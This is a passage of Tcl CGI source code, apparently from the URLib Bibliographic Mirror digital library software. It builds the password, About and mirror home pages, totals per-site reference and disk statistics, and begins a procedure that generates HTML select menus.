		ConditionalSet passwordTypeFlag cgi(passwordtypeflag) 0	;# added by GJFB on 2020-10-09 - flag value 0 means that the request is for a new password, 1 means the request is for a first password
		if ![info exists authorizedEmailDomains] {set authorizedEmailDomains {}}
				
# archiveName
# archiveName is used by xxNewPassword.html and then by col/iconet.com.br/banon/2009/05.17.20.29/doc/cgi/createNewPassword.tcl
		if [info exists archiveAcronym] {
			set archiveName $archiveAcronym
		} else {
			set archiveName "$site $localSite"
		}
		if [info exists conferenceAcronym] {
			set archiveName $conferenceAcronym
		}

		if {[info exists cgi(returnbutton)] && [string equal {yes} $cgi(returnbutton)]} {
			set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel]
		} else {
			set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About {} $Cancel]
		}
# repSite
if 0 {
# testing using gjfb.home:1905
#		set repSite gjfb.home:1905	;# used in xxNewPassword.html
		set repSite gjfb:1905	;# used in xxNewPassword.html
} else {
		set repSite urlib.net	;# used in xxNewPassword.html
}
		ConditionalSet targetFrame cgi(targetframe) {}
		Load ../$col/$languageRep/doc/${language}NewPassword.html body
		set output [subst $body]
	}
	^About$ {
		global timePeriod		;# set in TestForTclPageUpdate - added by GJFB on 2021-04-27 - used in xxAbout.html
		
# Source displayControl.tcl
		set enableOutput 0
		eval $sourceDisplayControl	;# set restrictedSubmission
# Source displayControl.tcl - end

		set path $homePath/col/$mirrorHomePageRep/doc/${language}About.html
		set alternatePath [CreateAlternatePath $path 1]	;# auxdoc/@xxAbout.html
		set timePeriod2 [TestForTclPageUpdate $mirrorHomePageRep $path $alternatePath]
		ConditionalSet forceAboutUpdating cgi(forceaboutupdating) 0	;# default is 0
		if {$timePeriod2 || $forceAboutUpdating} {
#			global numberOfItems
			global numberOfReferencesList	;# used in MultipleSubmit
			global "${languageRep2}:: was distributed over \$numberOfActiveSites
within a total of \$numberOfSites2 Archives and it "
			global "${languageRep2}::<BR>Last Version: <TT>&lt;\$lastVersion&gt;</TT>."
			global "${languageRep2}:: <A HREF=\$urlibServerAddress/download.cgi/\$URLibServiceRepository>Download</A> it."
			global "${languageRep2}::welcome1"
			global "${languageRep2}::welcome2"
			global "${languageRep2}::You can also access all the full texts of the Archive's own collection through the <A HREF=http://\$localSite/col/\$env(LOCOINREP)/doc/index1.html TARGET=_blank>UR<I>Lib</I> Local Collection Index</A>."
			global "${languageRep2}::incomplete metadata"	;# introduced in GetSiteInformation
			global "${languageRep2}::missing directories"	;# introduced in GetSiteInformation

#			package require http	;# needed here as well

			set urlibServerAddress $env(URLIB_SERVER_ADDR)	;# urlib.net and port
#			foreach {urlibServerName urlibPort} [ReturnCommunicationAddress $urlibServerAddress] {break}
#			if {"$env(IP_ADDR) $env(URLIB_PORT)" == "$urlibServerName $urlibPort"} #
			if {[string equal $serverAddress $urlibServerAddress] || [string equal www.$serverAddress $urlibServerAddress]} {
# Main Site
				set welcome $welcome2
			} else {
				set welcome $welcome1
			}

# numberOfReferencesList
#			set query {list GetNumberOfItems}
			set query {list GetNumberOfReferences}
# MULTIPLE SUBMIT
			set numberOfReferencesList {}
if 0 {
# testing update this page without GetNumberOfReferences
			set numberOfSatisfiedQueries 0
			set listOfSites 0
			set listOfActiveSites 0
			set numberOfSites 0
} else {
# GETNUMBEROFREFERENCES
			MultipleSubmit {} $query numberOfReferencesList 0
}
			set numberOfSites2 $numberOfSites	;# numberOfSites is recomputed while executing GetSiteInformation (and the resulting value may be lower), therefore it must be preserved now
# one or more elements in numberOfReferencesList might contain an error message
# through listOfInactiveSites one can identify the sites that have produced
# the error messages
# puts --$numberOfReferencesList--
#  => {{banon-pc3 800} {numberofreferences 806 numberofvisiblereferences 697 numberofvisiblereferenceswithfulltext 585}}

# siteList - used by ReturnSiteInformation in xxAbout.html
			set numberOfReferencesList2 {}
			set siteList {}
#			set failingSiteList {gjfb 19050}	;# for testing
			set failingSiteList {}	;# added by GJFB on 2024-05-19 to alert in the xxAbout.html frame about the sites that have a corrupted repArray
			foreach siteResult $numberOfReferencesList {
				if [string equal {0 0} $siteResult] {	;# see GetNumberOfReferences
					lappend failingSiteList [lindex $siteResult 0]	;# added by GJFB on 2024-05-19 to alert in the xxAbout.html frame about the sites that have a corrupted repArray
					continue
				}
				lappend numberOfReferencesList2 $siteResult
				lappend siteList [lindex $siteResult 0]
			}
# puts $siteList
# siteInformationList			
			set siteInformationList [join $numberOfReferencesList2]
# for each site, siteInformationList contains
# numberofreferences
# numberofvisiblereferences
# numberofvisiblereferenceswithfulltext

# puts --$siteInformationList--
# =>
# {banon-pc3 800} {numberofreferences 806 numberofvisiblereferences 697 numberofvisiblereferenceswithfulltext 585}

			if [string equal {} $siteInformationList] {	;# if added by GJFB on 2024-05-19 to alert in the xxAbout.html frame that the current site has a corrupted repArray (case of an empty @siteList.txt)
				puts <PRE>
				puts {The current site has probably a corrupted repArray and should be reset.}
				puts </PRE>
				return
			}

			array set siteInformationArray $siteInformationList
			set numberOfItemsList {}
			foreach site [array names siteInformationArray] {
# $siteInformationArray($site)
# numberofreferences 300 numberofvisiblereferences 270 numberofvisiblereferenceswithfulltext 150
# puts [list $site --$siteInformationArray($site)--]
				array set informationArray $siteInformationArray($site)
				lappend numberOfItemsList [list $informationArray(numberofvisiblereferences) $informationArray(numberofvisiblereferenceswithfulltext)]
			}
			set numberOfItemsList [join $numberOfItemsList]
			
			set numberOfActiveSites $numberOfSatisfiedQueries
			set listOfInactiveSites {}
			foreach item $listOfSites {
				if {[lsearch $listOfActiveSites $item] == -1} {
					lappend listOfInactiveSites $item
				}
			}
			
# nOR and nOFT
			set nOR 0
			set nOFT 0
			foreach {numberOfVisibleReferences numberofvisiblereferenceswithfulltext} $numberOfItemsList {
				set nOR [expr $nOR + $numberOfVisibleReferences]
				set nOFT [expr $nOFT + $numberofvisiblereferenceswithfulltext]
			}
			
# MULTIPLE SUBMIT
			set command [list list GetSiteInformation]	;# GetSiteInformation is in utilitiesMirror.tcl
# GETSITEINFORMATION
#			set siteInformationList [MultipleExecute {} $command]	;# commennted by GJFB on 2013-06-04 - uses @siteList.txt of loBiMiRep (!= $siteList)
			set siteInformationList [MultipleExecute $siteList $command]	;# added by GJFB on 2013-06-04
			
			set siteInformationList [join $siteInformationList]
# puts $siteInformationList	;# may contain an error message (e.g., when time-out for GetSiteInformation is large)
			if [regexp "<(\{.*\})>" $siteInformationList m errorMessage] {
				puts <PRE>
				if [catch {[join $errorMessage \n] message}] {
					puts $errorMessage
				} else {
					puts $message
				}
				puts </PRE>
				return
			}
			array set siteInformationArray2 $siteInformationList
			foreach site [array names siteInformationArray] {
				if [info exists siteInformationArray2($site)] {
					set siteInformationArray($site) [concat $siteInformationArray($site) $siteInformationArray2($site)]
				}
			}
			
			set siteInformationList [array get siteInformationArray]	;# used by ReturnSiteInformation in xxAbout.html
# for each site, siteInformationList contains
# numberofreferences
# numberofvisiblereferences
# numberofvisiblereferenceswithfulltext
# serviceversion
# ipport
# integrityalert
# insertionon
# hourminute
# numberofprocessors
# cpumhz
# ram
# ramuse
# cachesize
# diskspaceavailable
# used
# diskspaceuse
# diskspeed
# indexsize

# puts  $siteInformationList
# =>
# {gjfb.home 800} {numberofreferences 895 numberofvisiblereferences 791 numberofvisiblereferenceswithfulltext 683 serviceversion 15:03.06.22.57 ipport {192.168.1.31 80} integrityalert {*} insertionon { } hourminute 20:28 numberofprocessors - cpumhz - ram - ramuse - cachesize - diskspaceavailable - used - diskspaceuse - diskspeed - indexsize {3.2 MiB}}

# Compute the total line
			if {[info tclversion] > 8.3} {
				set totalNumberOfProcessors 0
				set totalDiskSpaceAvailable 0
				set totalUsed 0	;# disk used
				set totalNumberOfReferences 0
				set totalIndexSize 0
				set ipPortList {}
				foreach site [array names siteInformationArray] {
					if [info exists informationArray] {unset informationArray}
					array set informationArray $siteInformationArray($site)
					ConditionalSet currentIpPort informationArray(ipport) {}
					set lsearchResult [lsearch $ipPortList $currentIpPort]
# totalNumberOfProcessors
					if {[string equal {-} $totalNumberOfProcessors] || ![info exists informationArray(numberofprocessors)] || [string equal {-} $informationArray(numberofprocessors)]} {
						set totalNumberOfProcessors {-}
					} else {
						if {$lsearchResult == -1} {
# count only once
							incr totalNumberOfProcessors $informationArray(numberofprocessors)
						}
					}
# totalDiskSpaceAvailable
					if {[string equal {-} $totalDiskSpaceAvailable] || ![info exists informationArray(diskspaceavailable)] || [string equal {-} $informationArray(diskspaceavailable)]} {
						set totalDiskSpaceAvailable {-}
					} else {
						if {$lsearchResult == -1} {
# count only once
							set totalDiskSpaceAvailable [expr $totalDiskSpaceAvailable + [lindex [regsub {&nbsp;} $informationArray(diskspaceavailable) { }] 0]]
						}
					}
# totalUsed
					if {[string equal {-} $totalUsed] || ![info exists informationArray(used)] || [string equal {-} $informationArray(used)]} {
						set totalUsed {-}
					} else {
						if {$lsearchResult == -1} {
# count only once
							set totalUsed [expr $totalUsed + [lindex [regsub {&nbsp;} $informationArray(used) { }] 0]]
						}
					}
# totalNumberOfReferences
					incr totalNumberOfReferences $informationArray(numberofreferences)
# totalIndexSize
					if {[string equal {-} $totalIndexSize] || ![info exists informationArray(indexsize)] || [string equal {-} $informationArray(indexsize)]} {
						set totalIndexSize {-}
					} else {
						set totalIndexSize [expr $totalIndexSize + [lindex [regsub {&nbsp;} $informationArray(indexsize) { }] 0]]
					}
# ipPortList
					if [info exists informationArray(ipport)] {
						lappend ipPortList $informationArray(ipport)
					}
				}				
# Add units
# puts --$totalUsed--
# puts --$totalDiskSpaceAvailable--
				if {[string equal {-} $totalDiskSpaceAvailable] || $totalDiskSpaceAvailable == 0} {
					set totalDiskSpaceUse {-}
					set totalDiskSpaceAvailable {-}
				} else {
					set totalDiskSpaceUse [expr int(100 * ($totalUsed / double($totalDiskSpaceAvailable)))]%
					set totalDiskSpaceAvailable [format "%.1f&nbsp;[lindex [regsub {&nbsp;} $informationArray(diskspaceavailable) { }] 1]" $totalDiskSpaceAvailable]
				}
				if ![string equal {-} $totalUsed] {
					set totalUsed [format "%.1f&nbsp;[lindex [regsub {&nbsp;} $informationArray(used) { }] 1]" $totalUsed]
				}
				if ![string equal {-} $totalIndexSize] {
					set totalIndexSize [format "%.1f&nbsp;[lindex [regsub {&nbsp;} $informationArray(indexsize) { }] 1]" $totalIndexSize]
				}
# Add units - end
			}
# Compute the total line - end
			
# URLibReferenceRep
			set URLibReferenceRep iconet.com.br/banon/2001/02.10.22.55
# puts $numberOfSites
			if {$numberOfSites2 == 1} {
				set siteWarning " "
			} else {
				set siteWarning "\${ was distributed over \$numberOfActiveSites
within a total of \$numberOfSites2 Archives and it }"
			}
if 0 {
#			if {"$env(IP_ADDR) $env(URLIB_PORT)" == "$urlibServerName $urlibPort"} #
			if {[string equal $serverAddress $urlibServerAddress] || [string equal www.$serverAddress $urlibServerAddress]} {
# Main site
				set lastVersionWarning ""
				set downloadWarning ""
			} else {
# lastVersion
				set query {list GetURLibServiceLastVersion}
# MULTIPLE SUBMIT
				set lastVersion {}
#				MultipleSubmit {} $query lastVersion 0 [list $urlibServerAddress2]
				MultipleSubmit {} $query lastVersion 1 [list $urlibServerAddress2]
				if [string equal {} $lastVersion] {
					set lastVersionWarning ""
				} else {
					set lastVersionWarning "\${<BR>Last Version: <TT>&lt;\$lastVersion&gt;</TT>.}"
				}
				if [string equal $env(SERVICE_VERSION) $lastVersion] {
					set downloadWarning ""
				} else {
					set downloadWarning "\${ <A HREF=\$urlibServerAddress/download.cgi/\$URLibServiceRepository>Download</A> it.}"
				}
			}
} else {
			set lastVersionWarning ""
			set downloadWarning ""
}

# Get number of visits
#			set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $env(LOBIMIREP)]]
			set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $currentRep]]
# Get number of visits - end

# Link to index1.html
			if [file exists ../$col/$env(LOCOINREP)/doc/index1.html] {
				set indexHTML "\${You can also access all the full texts of the Archive's own collection through the <A HREF=http://\$localSite/col/\$env(LOCOINREP)/doc/index1.html TARGET=_blank>UR<I>Lib</I> Local Collection Index</A>.}"
			} else {
				set indexHTML ""
			}
# Link to index1.html - end

if 1 {
# added by GJFB on 2024-03-10 to inform if the INPE servers have their sentinel process turned on or off
# <     ip     >   <     host      >
#                  <     server    >       <     server     >       <     server     >
# 150.163.34.241 {{marte.sid.inpe.br 800} {marte2.sid.inpe.br 802} {marte3.sid.inpe.br 804}}
#                 <        site         > <        site          > <        site          >
			if {0 || [string equal {bibdigital.sid.inpe.br 800} $serverAddress]} {
				Load ../$col/$currentRep/doc/@siteList.txt fileContent
				set lineList [split $fileContent \n]
#				lappend lineList {{bibdigital.sid.inpe.br 800} sid.inpe.br/bibdigital@80/2006/04.07.15.50 150.163.34.247}	;# commented by GJFB on 2025-06-23
				lappend lineList {{bibdigital.sid.inpe.br 800} sid.inpe.br/bibdigital@80/2006/04.07.15.50 150.163.105.17}	;# added by GJFB on 2025-06-23

# ipSiteArray
				foreach line $lineList {
					foreach {site archive ip} $line {break}
 					lappend ipSiteArray($ip) $site
				}
# puts [array get ipSiteArray]
## => 150.163.34.241 {{marte.sid.inpe.br 800} {marte2.sid.inpe.br 802} {marte3.sid.inpe.br 804}} 150.163.34.249 {{mtc-m12.sid.inpe.br 800}} ...

# ipHostArray
				foreach ip [array names ipSiteArray] {
					foreach site $ipSiteArray($ip) {
						foreach {server port} $site {break}
						if [string equal {800} $port] {
							set ipHostArray($ip) $server
							break
						}
					}
				}
# puts [array get ipHostArray]
# => 150.163.34.241 marte.sid.inpe.br 150.163.34.249 mtc-m12.sid.inpe.br  ...
				
# hostFlagArray
				foreach ip [array names ipHostArray] {
					set host $ipHostArray($ip)
					set site [lindex $ipSiteArray($ip) 0]
#					set hostFlagArray($host) [Execute $site [list TestSentinelProcess]]	;# return 1 if the sentinel pid is known exists and 0 otherwise - commented by GJFB on 2024-03-22 because some sites might be slow					
#					set hostFlagArray($host) [Execute $site [list TestSentinelProcess] 0]	;# return 1 if the sentinel process exists and 0 otherwise - added by GJFB on 2024-03-22				
					if [catch {Execute $site [list TestSentinelProcess] 0}	hostFlagArray($host)] {	;# return 1 if the sentinel process is running, 0 otherwise and "-" if undefined - added by GJFB on 2024-03-22
# communication with server [marte.sid.inpe.br 800] doesn't start
						set hostFlagArray($host) - 	;# "-' means that the sentinel state is indefined
					}				
				}

# monitoringList				
				set hostFlagList [array get hostFlagArray]	;# used in pt-BRAbout.html only
				foreach {host flag} $hostFlagList {
					lappend monitoringList [list $host $flag]
				}
			}
}

# translationTable
			source ../$col/$languageRep2/doc/mirror/${language}ReferenceTypeName.tcl	;# set translationTable
#			global referencetype::translationTable

			if [file exists ../$col/$languageRep1/doc/${language}About.html] {
				Load ../$col/$languageRep1/doc/${language}About.html body
			} else {
				Load ../$col/$languageRep2/doc/${language}About.html body
			}
			set body [ProcessBrackets $body]
# puts $body
# puts $currentRep
#			catch {subst $body} output
			set output [subst $body]
			set output [UnProcessBrackets $output]
			set output [ProcessBrackets $output]
			set output [SetFont [subst [subst $output]]]
			set output [UnProcessBrackets $output]
			set dirName [file dirname $alternatePath]
			file mkdir $dirName	;# create the auxdoc directory in the mirrorHomePage.html repository
			Store output $alternatePath
		} else {
			Load $alternatePath output
		}
		if [regexp -nocase {< *meta +charset *= *" *UTF-8.*".*>} $output] {	;# added by GJFB on 2026-04-04 to solve the accent problem
			puts {Content-Type: text/html; charset=UTF-8}
		} else {
			puts {Content-Type: text/html}
		}
		puts {}
	}	;# About - end
	^BlankPage$ {
# used in xxForm.html to leave the input text (query) fixed when clicking +/-
# the blank page is displayed in the frame called BlackHole
		return
	}
	.+ {
		if [file exists ../$col/$languageRep1/doc/${language}$frameName.html] {
			Load ../$col/$languageRep1/doc/${language}$frameName.html fileContent
			set fileContent2 [ProcessBrackets $fileContent]
			if [catch {subst $fileContent2} fileContent] {
				return -code error "CreateMirror (2):
$fileContent
"
			} else {
				set output [UnProcessBrackets $fileContent]
			}
		} else {
				return -code error "CreateMirror (3): file
$homePath/col/$languageRep1/doc/${language}$frameName.html
doesn't exist"
		}
	}
	default {
# empty frameName
# puts OK

		if $usePHP {
			puts "Location: http://$localSite/col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile"
			puts {}
			return
		}
# puts $env(QUERY_STRING)
# targetFrame
		set targetFrame _top
		if [info exists env(QUERY_STRING)] {
			regexp {targetframe=([^&]*)} $env(QUERY_STRING) m targetFrame
		}

# Capture URL (same code in createpage.tcl)
		set q_u_e_r_y {}
		if {[info exists env(QUERY_STRING)] && ![string equal {} $env(QUERY_STRING)]} {
# GET style
			lappend q_u_e_r_y $env(QUERY_STRING)
		}
		if [info exists env(CONTENT_LENGTH)] {
# POST style
			lappend q_u_e_r_y [string trim [read stdin $env(CONTENT_LENGTH)] \n]
		}
# puts $q_u_e_r_y
		set q_u_e_r_y [join $q_u_e_r_y &]
		foreach {name value} [split $q_u_e_r_y &=] {
			set cgi([DecodeURL $name]) [DecodeURL $value]
		}
# puts [array get cgi]
# Capture URL - end

# Source displayControl.tcl
		set enableOutput 1
		eval $sourceDisplayControl	;# set mirrorPageOpeningOption
# Source displayControl.tcl - end

# frameName
#		ConditionalSet frameName cgi(framename) {Recent}	;# used in the mirror home page file - value is Recent or About - commented by GJFB on 2020-07-17
		if [info exists cgi(framename)] {
			set frameName $cgi(framename)
		} else {
			ConditionalSet frameName mirrorPageOpeningOption {Recent}	;# used in the mirror home page file - value is Recent or About
		}
# accent
		ConditionalSet accent cgi(accent) {no}	;# used in the mirror home page file - value is yes or no 
# case
		ConditionalSet case cgi(case) {no}	;# used in the mirror home page file - value is yes or no 
# continue
		ConditionalSet continue cgi(continue) {no}	;# used in the mirror home page file - value is yes or no 
# returnButton
		ConditionalSet returnButton cgi(returnbutton) {yes}	;# added by GLFB in 2022-09-11 - used in the mirror home page file - value is yes or no 
# choice
		ConditionalSet choice cgi(choice) {brief}	;# used in the mirror home page file - value is short, brief, briefTitleAuthor, briefTitleAuthorMisc, full, fullbibtex, fullrefer, fullBibINPE or fullXML

# query
		ConditionalSet query cgi(query) {}	;# added by GJFB on 2022-06-13 - used in the mirror home page file - value is a search expression
# query2
		ConditionalSet query2 cgi(query2) {}	;# added by GJFB on 2022-06-13 - used (via searchInputValue) in the mirror home page file - value is a search expression
#		ConditionalSet query2 cgi(query2) {referencetype Report and rep *2011*}	;# for testing
		set query2 {}	;# query2 not in use
		regsub -all { } $query2 {+} query2
# searchInputValue
		ConditionalSet searchInputValue cgi(searchinputvalue) $query	;# added by GJFB on 2022-06-13 - used in the mirror home page file - value is a search expression
# searchInputValue2
		regsub -all { } $searchInputValue {+} searchInputValue2	;# added by GJFB on 2022-06-13 - used in the mirror home page file - value is a search expression for URL
# forceRecentFlag
		ConditionalSet forceRecentFlag cgi(forcerecentflag) 0	;# added by GJFB on 2022-06-13 - used in the mirror home page file - value is 0 (default) or 1 (means to force 'The Most Recent' display)
# forceHistoryBackFlag
		set forceHistoryBackFlag 0	;# added by GJFB on 2023-06-09
# highlightAbout
		ConditionalSet highlightAbout cgi(highlightabout) 0	;# added by GJFB on 2022-09-11 - used in the mirror home page file - value is 0 (default) or 1 (means to highlight the About button background)

#		set serverAddress $localSite	;# old usage of serverAddress - commented by GJFB on 2020-07-17 to preserve the value of serverAddress used in mirrorHomePage.html

#		Load ../$col/$mirrorHomePageRep/service/targetFile mirrorHomePageTargetFile
# puts ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile

#		if [file exists ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile] #	;# commented by GJFB on 2025-01-10 because mirrorHomePageTargetFile value might be empty when, for example, customizing a Bibliographic Mirror to just create a meta form for conference proceedings
		if {![string equal {} $mirrorHomePageTargetFile] && [file exists ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile]} {	;# added by GJFB on 2025-01-10
			Load ../$col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile mirrorPage
			if {![regexp {[[:print:]]} $mirrorPage]} {
# mirrorPage doesn't contain printed characters
				return -code error "CreateMirror (4): file
$homePath/col/$mirrorHomePageRep/doc/$mirrorHomePageTargetFile
is corrupted"
			}
		} else {
# Load the Default mirror home page
#			Load ../$col/$mirrorHomePageRepository/doc/$mirrorHomePageTargetFile mirrorPage	;# commented by GJFB on 2025-01-10 because mirrorHomePageTargetFile value might be empty whem customizing/creating/using a meta form only
			Load ../$col/$mirrorHomePageRepository/doc/mirrorHomePage.html mirrorPage	;# added by GJFB on 2025-01-10
		}
		
		if [file exists ../$col/$mirrorHomePageRep/doc/mirrorHomePageHeader.html] {
			Load ../$col/$mirrorHomePageRep/doc/mirrorHomePageHeader.html mirrorHomePageHeader
		} else {
			set mirrorHomePageHeader {}
		}
		
# puts ../$col/$languageRep2/doc/mirror/${language}Home.tcl
		source ../$col/$languageRep2/doc/mirror/${language}Home.tcl	;# set the proper translation of the each variable below
		global "${languageRep2}::Bibliographic Mirror at &lt\;\$serverAddress&gt\;"	;# for old mirror home page
		global "${languageRep2}::Bibliographic Mirror at &lt\;\$localSite&gt\;"
		global "${languageRep2}::Browser assisted filling"
		global "${languageRep2}::Keyword-driven filling"
		global "${languageRep2}::Toggle the filling property"
		global "${languageRep2}::Remove past inserted search expressions"
		global "${languageRep2}::Are you sure you want to remove the past inserted search expressions and reload this page?"
		global "${languageRep2}::Press Backspace or type something..."
		global "${languageRep2}::Please wait for the submission completion."
		
		set thisRepository $mirrorHomePageRep
		set urlibServerAddress $env(URLIB_SERVER_ADDR)	;# urlib.net and port (www.urlib.net 800)
#		foreach {urlibServerName urlibPort} [ReturnCommunicationAddress $urlibServerAddress] {break}	;# used in mirrorPage
		foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}
		
		Load $homePath/col/$currentRep/doc/@wordOccurrence wordOccurrenceList
		set keywordList {}
# puts $wordOccurrenceList
		foreach item $wordOccurrenceList {
			foreach keyword $item {break}
#			set keyword "- [regsub -all {\$} $keyword {\\\\\$}],"
			set keyword [regsub -all {\$} $keyword {\\\\\$}]
			set keyword [regsub -all {'} $keyword {\\\'}]
#			set keyword [regsub -all {:} $keyword {\\\:}]
			set keyword "- $keyword,"
			lappend keywordList \\\"$keyword\\\"
#			lappend keywordList \\\"_[regsub -all { } $keyword {_}]\\\"	;# join must not be used because keyword may contain an open brace
		}
# puts $keywordList
		set data \\\[[join $keywordList {, }]\\\]
		
# seconds
		set seconds "<INPUT TYPE=HIDDEN NAME=\"seconds\" VALUE=\"[clock seconds]\">"

# puts $language
#		set output $mirrorPage
#		set output [subst $mirrorPage]
		set output [subst [subst $mirrorPage]]	;# mirrorPage contains the command 'ConditionalSet query cgi(query) {}'
	}
}
puts $output
# <
} m] {
		if ![string equal {} $m] {
			puts {Content-Type: text/html}
			puts {}
			puts "<PRE>CreateMirror (5): $m</PRE>"
			if 0 {global errorInfo; puts <PRE>$errorInfo</PRE>}
		}
	}
}

# CreateMirror - end
# ----------------------------------------------------------------------
# CreateSelect
# used with Register and Submit
# example of fieldName: %A
# example of field: _A_author
# creatorNumber is empty or is 1, 2, 3 ...

proc CreateSelect {fieldName field value varName {creatorNumber {}}} {
	global cgi
#	upvar translationTable translationTable
	upvar referenceType referenceType
	upvar optionTable optionTable
	upvar optionTable2 optionTable2
	upvar defaultOptionTable defaultOptionTable
	upvar $varName row
	upvar userName userName
	upvar fillOutFieldCode fillOutFieldCode	;# used in xxSubmit.html and xxUpdateSubmission.html only
	upvar fieldList fieldList	;# {%A author} {%T title} ... {%@affiliation affiliation} ...
	upvar fillOutFieldTable fillOutFieldTable ;# set in displayControl.tcl
	upvar actionTable actionTable ;# set in displayControl.tcl
	upvar submissionType submissionType
	upvar referenceType3 referenceType3
	upvar language language
	upvar http http
	upvar update update	;# added by GJFB on 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
	upvar supervisorList supervisorList	;# added by GJFB on 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
	upvar userName userName	;# added by GJFB on 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)
	upvar userGroup userGroup	;# added by GJFB on 2016-05-28 - needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in that cgi script)

# Create fillOutFieldCode
# for function FillOutField(fieldName, optionNumber, creatorNumber)
	if [info exists actionTable($referenceType,$fieldName)] {
# Dynamic action
# actionTable is set in displayControl.tcl
		lappend fillOutFieldCode "	if (fieldName == \"$fieldName\") \{"
		set i 0
		lappend fillOutFieldCode "		itemsAction = new Array([llength $actionTable($referenceType,$fieldName)])"
		foreach item $actionTable($referenceType,$fieldName) {
			lappend fillOutFieldCode "		itemsAction\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\] = \"$http://[lindex [lindex $item 1] 0]/col/[lindex [lindex $item 1] 1]/doc/submit.cgi\""
			incr i
		}
		lappend fillOutFieldCode "		document.$submissionType.action = itemsAction\\\\\\\\\\\\\\\[optionNumber\\\\\\\\\\\\\\\] + '?%0+referencetype=\{$referenceType3\}&languagebutton=$language&returnbutton=$cgi(returnbutton)&targetframe=$cgi(targetframe)&attachment=$cgi(attachment)'"
		lappend fillOutFieldCode "	\}"
# Dynamic action - end
	}
	set fillOutFieldCode2 {}
	foreach name [array names fillOutFieldTable $referenceType,$fieldName,*] {
# Journal Article,%@group,%@affiliation
# fieldName == %@group
		regsub "^$referenceType,$fieldName," $name {} destinationFieldName	;# %@affiliation
		if {[set i [lsearch -regexp $fieldList ^$destinationFieldName]] != -1} {
			set destinationField [lindex $fieldList $i]	;# %@affiliation affiliation
			regsub -all {%|@| |-} $destinationField {_} destinationField	;# for JavaScript compatibility - __affiliation_affiliation
			if [regexp {^$|^1$} $creatorNumber] {
				lappend fillOutFieldCode2 "		items$destinationField = new Array([expr [llength $fillOutFieldTable($name)] / 2])"
				set i 0
				foreach {x y} $fillOutFieldTable($name) {
					lappend fillOutFieldCode2 "		items$destinationField\\\\\\\\\\\\\\\[$i\\\\\\\\\\\\\\\] = \"$y\""
					incr i
				}
			}
			lappend fillOutFieldCode2 "		if (creatorNumber == \"$creatorNumber\") \{"
			lappend fillOutFieldCode2 "			document.$submissionType.$destinationField$creatorNumber.value = items$destinationField\\\\\\\\\\\\\\\[optionNumber\\\\\\\\\\\\\\\]"
			lappend fillOutFieldCode2 "		\}"
		}
	}
	if ![string equal {} $fillOutFieldCode2] {
		lappend fillOutFieldCode "if (fieldName == \"$fieldName\") \{"
		set fillOutFieldCode [concat $fillOutFieldCode $fillOutFieldCode2]
		lappend fillOutFieldCode "	\}"
	}
# Create fillOutFieldCode - end

#                                       ONCHANGE="FillOutField('%@group', document.update.__group_group1.selectedIndex, '1')"
	append row "<SELECT NAME=\"$field\" ONCHANGE=\"FillOutField(\'$fieldName\', document.$submissionType.$field.selectedIndex, \'$creatorNumber\')\">"

# Find option list
# optionList
	if [info exists optionTable($referenceType,$fieldName)] {
		set optionList $optionTable($referenceType,$fieldName)
	} elseif [info exists optionTable2($referenceType,$fieldName)] {
#		set optionList $optionTable2($referenceType,$fieldName)	;# commented by GJFB on 2016-05-28
		set optionList [subst $optionTable2($referenceType,$fieldName)]	;# added by GJFB on 2016-05-28 - subst needed when running iconet.com.br/banon/2006/07.02.02.18/cgi/script (k metaform) (when setting {controlArray(optionTable2(Conference Proceedings,%@documentstage))} in this cgi script)
	} else {
		puts "optionTable($referenceType,$fieldName) or optionTable2($referenceType,$fieldName) doesn't exist"
		return
	}
# Find option list - end


# http://vaio:1905/col/iconet.com.br/banon/2006/11.26.21.31/doc/mirror.cgi/Submit/Book?languagebutton=pt-BR&reviewprocess=yes
# puts $fieldName
# puts --$value--
# puts $optionList
	if [info exists defaultOptionTable($referenceType,$fieldName)] {
		if [string equal {} $value] {
			set value $defaultOptionTable($referenceType,$fieldName)
		} elseif {[string equal {%@documentstage} $fieldName]} {
# with 8.5 could be [lsearch -index 1 $optionList $value] == -1 
			set flag 1
			foreach option $optionList {
				if [string equal [lindex $option 1] $value] {set flag 0; break}
			}
			if $flag {set value $defaultOptionTable($referenceType,$fieldName)}
		}
	}

# puts ---$value---
# puts $optionList
	if [info exists optionTable($referenceType,$fieldName)] {
# using optionTable
		set flag 1
		for {set i 0} {$i < [llength $optionList]} {incr i} {
			if {[llength [lindex [lindex $optionList $i] 1]] > 1} {set flag 0; break}
		}
		if $flag {
# without subitem
			foreach option $optionList {
				CreateOptionForSelect $fieldName $value $option $option	;# appends row
			}
		} else {
# with subitems (an item has at least two subitems)
			if [string equal {} [lindex $optionList 0]] {
# the first element is empty
				set optionList [lreplace $optionList 0 0]
				CreateOptionForSelect $fieldName $value {} {}	;# appends row
			}
			foreach option $optionList {
				append row "<optgroup label=\"[lindex $option 0]\">"
				foreach option2 [lindex $option 1] {
					CreateOptionForSelect $fieldName $value $option2 $option2	;# appends row
				}
				append row "</optgroup>"
			}
		}
	} else {
# using optionTable2
# puts --$optionList--
		set flag [expr [llength [lindex [lindex [lindex $optionList end] 1] 0]] <= 1]
		if $flag {
# without subitem
			foreach option $optionList {
				set optionName [lindex $option 0]
				set optionValue [lindex $option 1]
# puts [list CreateOptionForSelect $fieldName $value $optionName $optionValue]<br>
